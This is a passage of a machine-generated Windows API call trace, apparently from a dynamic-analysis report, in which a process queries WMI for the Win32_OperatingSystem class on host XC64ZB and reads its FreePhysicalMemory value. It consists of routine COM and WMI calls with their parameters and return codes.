WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b351a88) returned 0x0 [0292.059] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351a88, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0292.059] WbemLocator:IUnknown:Release (This=0x1b351a88) returned 0x3 [0292.059] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0292.059] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0292.059] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b351b70) returned 0x0 [0292.059] WbemLocator:IRpcOptions:Query (in: This=0x1b351b70, pPrx=0x1b351ba8, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0292.059] WbemLocator:IUnknown:Release (This=0x1b351b70) returned 0x3 [0292.059] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x2 [0292.059] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0292.059] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0292.059] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35afe0) returned 0x0 [0292.060] IUnknown:AddRef (This=0x1d35afe0) returned 0x4 [0292.060] IUnknown:Release (This=0x1d35afe0) returned 0x3 [0292.060] IUnknown:Release (This=0x1d35afe0) returned 0x2 [0292.060] WbemLocator:IUnknown:Release (This=0x1d475770) returned 0x2 [0292.060] SysStringLen (param_1=0x0) returned 0x0 [0292.060] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0292.060] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0292.060] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0292.060] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0292.060] IUnknown:AddRef (This=0x1d35afe0) returned 0x3 [0292.060] IEnumWbemClassObject:Clone (in: This=0x1d35afe0, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35c780) returned 0x0 [0292.062] IUnknown:QueryInterface (in: This=0x1d35c780, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35c788) returned 0x0 [0292.062] IClientSecurity:QueryBlanket (in: This=0x1d35c788, pProxy=0x1d35c780, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0292.062] IUnknown:Release (This=0x1d35c788) returned 0x1 [0292.062] IUnknown:QueryInterface (in: This=0x1d35c780, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b351048) returned 0x0 [0292.062] IUnknown:QueryInterface (in: This=0x1d35c780, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35c788) returned 0x0 [0292.062] IClientSecurity:SetBlanket (This=0x1d35c788, pProxy=0x1d35c780, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0292.063] IUnknown:Release (This=0x1d35c788) returned 0x2 [0292.063] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x1 [0292.063] CoTaskMemFree (pv=0x1d471770) [0292.064] IUnknown:QueryInterface (in: This=0x1d35c780, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b351048) returned 0x0 [0292.064] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0292.064] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0292.064] IUnknown:QueryInterface (in: This=0x1d35c780, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0292.065] WbemLocator:IUnknown:AddRef (This=0x1b351048) returned 0x3 [0292.065] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0292.065] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0292.065] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b350f28) returned 0x0 [0292.065] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350f28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0292.065] WbemLocator:IUnknown:Release (This=0x1b350f28) returned 0x3 [0292.065] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0292.065] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0292.065] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b351010) returned 0x0 [0292.065] WbemLocator:IRpcOptions:Query (in: This=0x1b351010, pPrx=0x1b351048, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0292.065] WbemLocator:IUnknown:Release (This=0x1b351010) returned 0x3 [0292.065] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x2 [0292.065] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0292.065] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0292.066] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35c780) returned 0x0 [0292.066] IUnknown:AddRef (This=0x1d35c780) returned 0x4 [0292.066] IUnknown:Release (This=0x1d35c780) returned 0x3 [0292.066] IUnknown:Release (This=0x1d35c780) returned 0x2 [0292.066] IUnknown:Release (This=0x1d35afe0) returned 0x2 [0292.066] SysStringLen (param_1=0x0) returned 0x0 [0292.066] IEnumWbemClassObject:Reset (This=0x1d35c780) returned 0x0 [0292.066] CoTaskMemAlloc (cb=0x8) returned 0x1b3538c0 [0292.066] IEnumWbemClassObject:Next (in: This=0x1d35c780, lTimeout=-1, uCount=0x1, apObjects=0x1b3538c0, puReturned=0x2a06f70 | out: apObjects=0x1b3538c0*=0x1b349b20, puReturned=0x2a06f70*=0x1) returned 0x0 [0292.070] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b349b20) returned 0x0 [0292.070] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0292.070] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0292.070] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0292.070] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0292.070] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0292.070] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0292.070] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b349b28) returned 0x0 [0292.070] IMarshal:GetUnmarshalClass (in: This=0x1b349b28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0292.070] IUnknown:Release (This=0x1b349b28) returned 0x3 [0292.071] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0292.071] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0292.071] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0292.071] IUnknown:Release (This=0x1b349b20) returned 0x2 [0292.071] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0292.071] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0292.071] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b349b20) returned 0x0 [0292.071] IUnknown:AddRef (This=0x1b349b20) returned 0x4 [0292.071] IUnknown:Release (This=0x1b349b20) returned 0x3 [0292.071] IUnknown:Release (This=0x1b349b20) returned 0x2 [0292.071] CoTaskMemFree (pv=0x1b3538c0) [0292.071] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0292.071] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0292.071] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0292.072] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0292.072] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0292.072] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0292.072] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0292.072] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0292.072] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0292.072] IUnknown:Release (This=0x4b0108) returned 0x1 [0292.073] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d4970a0) returned 0x0 [0292.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d4970a0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0292.073] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d4970a0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3c40) returned 0x0 [0292.073] WbemDefPath:IUnknown:Release (This=0x1d4970a0) returned 0x0 [0292.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3c40) returned 0x0 [0292.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0292.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0292.074] WbemDefPath:IUnknown:AddRef (This=0x4f3c40) returned 0x3 [0292.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0292.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0292.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d497320) returned 0x0 [0292.074] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d497320, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0292.074] WbemDefPath:IUnknown:Release (This=0x1d497320) returned 0x3 [0292.074] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0292.074] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0292.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0292.075] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x2 [0292.075] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x1 [0292.075] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0292.075] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0292.075] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3c40) returned 0x0 [0292.075] WbemDefPath:IUnknown:AddRef (This=0x4f3c40) returned 0x3 [0292.075] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x2 [0292.075] WbemDefPath:IWbemPath:SetText (This=0x4f3c40, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0292.075] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0292.075] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0292.075] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0292.075] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0292.075] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0292.075] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0292.075] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a07d38*=0, plFlavor=0x2a07d3c*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2a07d38*=21, plFlavor=0x2a07d3c*=0) returned 0x0 [0292.075] SysStringByteLen (bstr="1395304") returned 0xe [0292.075] SysStringByteLen (bstr="1395304") returned 0xe [0292.076] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a07d38*=21, plFlavor=0x2a07d3c*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2a07d38*=21, plFlavor=0x2a07d3c*=0) returned 0x0 [0292.076] SysStringByteLen (bstr="1395304") returned 0xe [0292.076] SysStringByteLen (bstr="1395304") returned 0xe [0292.076] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0292.076] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0292.076] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, 